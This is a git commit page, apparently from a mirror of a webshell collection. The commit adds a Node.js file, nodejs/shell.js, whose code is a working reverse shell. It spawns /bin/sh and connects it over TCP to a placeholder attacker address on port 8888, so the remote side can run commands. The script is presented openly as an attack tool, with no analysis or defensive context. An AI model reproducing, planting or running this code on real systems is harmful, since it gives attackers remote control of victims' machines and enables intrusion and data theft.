mirror of
https://github.com/tennc/webshell
synced 2025-02-16 17:58:23 +00:00
commit
5c0dc00eb9
1 changed files with 12 additions and 0 deletions
12
nodejs/shell.js
Normal file
12
nodejs/shell.js
Normal file
|
@ -0,0 +1,12 @@
|
|||
(function(){
|
||||
var net = require("net"),
|
||||
cp = require("child_process"),
|
||||
sh = cp.spawn("/bin/sh",[]);
|
||||
var client = new net.Socket();
|
||||
client.connect(8888,"xxx.xxx.xxx.xxx",function(){
|
||||
client.pipe(sh.stdin);
|
||||
sh.stdout.pipe(client);
|
||||
sh.stderr.pipe(client);
|
||||
});
|
||||
return /a/;
|
||||
})();
|
Loading…
Add table
Reference in a new issue